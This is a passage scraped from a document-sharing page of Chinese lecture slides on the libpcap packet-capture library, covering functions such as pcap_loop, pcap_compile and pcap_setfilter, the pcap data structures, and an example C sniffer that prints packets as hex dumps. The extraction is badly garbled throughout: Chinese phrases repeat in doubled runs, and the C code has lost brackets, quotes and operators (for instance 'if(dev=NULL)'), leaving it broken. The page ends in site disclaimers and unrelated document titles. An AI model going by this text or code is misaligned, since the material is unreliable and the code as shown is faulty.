48、ap_dispatch()函數(shù)傳遞過來的函數(shù)傳遞過來的u_charu_char指針,一個是指針,一個是pcap_pkthdrpcap_pkthdr結(jié)構(gòu)的指針,結(jié)構(gòu)的指針,以及一個數(shù)據(jù)報大小的以及一個數(shù)據(jù)報大小的u_charu_char指針。指針。nuser: user: 傳遞給回調(diào)函數(shù)的參數(shù)。傳遞給回調(diào)函數(shù)的參數(shù)。libpcap庫函數(shù)(5)#include int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user);n該函數(shù)與該函數(shù)與pcap_dispatch()pcap_dispatch()函數(shù)功能基本相同。不
49、函數(shù)功能基本相同。不同的是,前者在同的是,前者在cntcnt個數(shù)據(jù)報被處理或出現(xiàn)錯誤個數(shù)據(jù)報被處理或出現(xiàn)錯誤才返回,才返回,。另外,如果。另外,如果cnt=-1 cnt=-1 ,pcap_looppcap_loop函數(shù)將始終循環(huán)運行,直至函數(shù)將始終循環(huán)運行,直至出現(xiàn)錯誤。出現(xiàn)錯誤。libpcap庫函數(shù)(6)include int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask); 返回值:成功為返回值:成功為0,出錯為,出錯為-1。n該函數(shù)將指定的字符串編譯
50、到過濾程序中。函數(shù)參數(shù)如該函數(shù)將指定的字符串編譯到過濾程序中。函數(shù)參數(shù)如下:下:nfpfp:一個:一個bpf_programbpf_program結(jié)構(gòu)指針,在函數(shù)中被賦值;結(jié)構(gòu)指針,在函數(shù)中被賦值;nstrstr:指定編譯到過濾程序中的字符串。:指定編譯到過濾程序中的字符串。noptimizeoptimize:控制結(jié)果代碼的優(yōu)化;:控制結(jié)果代碼的優(yōu)化;nnetmasknetmask:指定本地網(wǎng)絡(luò)的網(wǎng)絡(luò)掩碼。:指定本地網(wǎng)絡(luò)的網(wǎng)絡(luò)掩碼。libpcap庫函數(shù)(7)include int pcap_setfilter(pcap_t *p, struct bpf_program *fp);n該函數(shù)指定一
51、個過濾程序,參數(shù)該函數(shù)指定一個過濾程序,參數(shù)fp通常在通常在pcap_compile函數(shù)中函數(shù)中被賦值。被賦值。u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);返回值:成功指向下一個數(shù)據(jù)包的指針。出錯時返回返回值:成功指向下一個數(shù)據(jù)包的指針。出錯時返回NULL。n該函數(shù)返回指向下一個數(shù)據(jù)包的指針。該函數(shù)返回指向下一個數(shù)據(jù)包的指針。int pcap_datalink(pcap_t *p); 返回值:數(shù)據(jù)鏈路層類型,如:返回值:數(shù)據(jù)鏈路層類型,如:DLT_EN10MB,或,或DLT_PPPn該函數(shù)返回數(shù)據(jù)鏈路層的類型。該函數(shù)返回數(shù)據(jù)鏈路層的類
52、型。libpcap庫函數(shù)(8)include void pcap_close(pcap_t *p);n該函數(shù)用于關(guān)閉打開的網(wǎng)絡(luò)設(shè)別描述符,并釋放資源。該函數(shù)用于關(guān)閉打開的網(wǎng)絡(luò)設(shè)別描述符,并釋放資源。char *pcap_geterr(pcap *p);n該函數(shù)用于返回最后一個該函數(shù)用于返回最后一個pcap庫錯誤消息。庫錯誤消息。libpcap數(shù)據(jù)結(jié)構(gòu)typedef struct pcap pcap_t;struct pcap int fd;intsnapshot;intlinktype;inttzoff;/* timezone offset */intoffset;/* offset for
53、proper alignment */struct pcap_sfsf;struct pcap_mdmd;intbufsize;/* Read buffer */u_char *buffer;u_char *bp;intcc;u_char *pkt;struct bpf_programfcode;charerrbufPCAP_ERRBUF_SIZE;libpcap數(shù)據(jù)結(jié)構(gòu)structpcap_pkthdr struct trmevalts;/* time stamp */bpf_u_int32caplen;/* length of portion present */bpf_u_int32le
54、n;/* length of this packet (off wire) */數(shù)據(jù)鏈路訪問實例P259功能:功能:打開網(wǎng)絡(luò)設(shè)備。打開網(wǎng)絡(luò)設(shè)備。根據(jù)用戶從命令行輸入的過濾規(guī)則產(chǎn)生過濾器。根據(jù)用戶從命令行輸入的過濾規(guī)則產(chǎn)生過濾器。捕獲所需的包并顯示。捕獲所需的包并顯示。#include #include #include #include #include #include #include #define BUFSIZE 1000#define PCAP_ERRBUF_SIZ 200void display(const u_char * packet,const size_t length);
55、void my_callback(u_char *none,const struct pcap_pkthdr * pkthdr,const u_char *packet) display(u_char *) packet,(size_t)(pkthdr-caplen);return;int main(int argc,char*argv) int i; char *dev; char errbufPCAP_ERRBUF_SIZE; pcap_t * descr; const u_char *packet; struct pcap_pkthdr hdr; struct ether_header
56、*eptr;struct bpf_program fp;bpf_u_int32 maskp;bpf_u_int32 netp;if(argc!=2) fprintf(stdout,usage:%sfilter programn,argv0);return 0;dev=pcap_lookupdev(errbuf);if(dev=NULL) fprintf(stderr,%sn,errbuf);exit(1);printf(dev=%s,dev);fflush(stdout);pcap_lookupnet(dev,&netp,&maskp,errbuf);descr=pcap_op
57、en_live(dev,BUFSIZ,1,-1,errbuf);if(descr=NULL) printf(pcap_open_live():%sn,errbuf);exit(1);if(pcap_compile(descr,&fp,argv1,0,netp)=-1) fprintf(stderr,error calling pcap_compilen); exit(1); if(pcap_setfilter(descr,&fp)=-1) fprintf(stderr,error setting filtern);exit(1);pcap_loop(descr,-1,my_ca
58、llback,NULL);return 0;void display(const u_char *packet,const size_t length) u_long offset;int i,j,k;printf(packet%lu bytes:n,(long unsigned int) length);if(length0;k-,offset+=16) printf(%08X,(unsigned int)offset); for(j=0;j16;j+,i+) if(j=8) printf(%-%02X,packeti); else printf(%02X,packeti);printf(
59、);i-=16;for(j=0;j16;j+,i+) if(packeti= )&(packeti=255) printf(%c,packeti); else printf(.);printf(n);k=length-i;if(k=0) return;printf(%08X,(unsigned int)offset);for(j=0;j0;j-) printf( );printf( );for(j=0;j= )&(packeti=255) printf(%c,packeti);else printf(.); printf(n);return; 程序運行結(jié)果:網(wǎng)絡(luò)報文捕獲程序網(wǎng)絡(luò)
60、報文捕獲程序n要求捕獲本地網(wǎng)段接收或發(fā)送的報文,并能要求捕獲本地網(wǎng)段接收或發(fā)送的報文,并能根據(jù)命令行輸入的過濾條件過濾捕獲的數(shù)據(jù)。根據(jù)命令行輸入的過濾條件過濾捕獲的數(shù)據(jù)。mainpcap_opennext_pcapanalysistcpudpicmpcleanupexit收到終止信號Pcap.c#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define snaplen 1000#define promisc 1pcap_t *pcap;int datalink;char src20,dst20;struct pcap_pkthdr hdr;int pcap_open
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年數(shù)字媒體藝術(shù)考核試題及答案
- 2025年文學(xué)創(chuàng)作與鑒賞考試試題及答案解析
- 2025年汽車工程師考試試卷及答案解析
- 2025年家庭醫(yī)生考試試卷及答案
- 2025年環(huán)境質(zhì)量檢測與評估專業(yè)能力考試試卷及答案
- 2025年計算機科學(xué)基礎(chǔ)考試試題及答案
- 養(yǎng)殖業(yè)合作經(jīng)營與利潤分配合同
- 溫暖的春節(jié)作文400字15篇范文
- 《古埃及文明探索教學(xué)教案》世界歷史教案
- 《美術(shù)色彩理論基礎(chǔ)知識教學(xué)教案》
- 圖解電動自行車充電器與控制器維修全流程
- X62W萬能銑床電氣故障點
- 合肥市商場市調(diào)報告調(diào)查分析總結(jié)
- QCT25-2023年汽車干摩擦式離合器總成技術(shù)條件
- 定向鉆施工合同
- 2022-2023學(xué)年黑龍江省佳木斯市小升初必考題數(shù)學(xué)檢測卷含答案
- 小學(xué)一年級下學(xué)期數(shù)學(xué)無紙化測試題
- 口腔頜面外科學(xué) 第十章 顳下頜關(guān)節(jié)疾病
- 建設(shè)文化強國說課 教學(xué)設(shè)計
- 陳巴爾虎旗草原全域旅游發(fā)展總體規(guī)劃
- 立管高空作業(yè)施工專項安全方案
評論
0/150
提交評論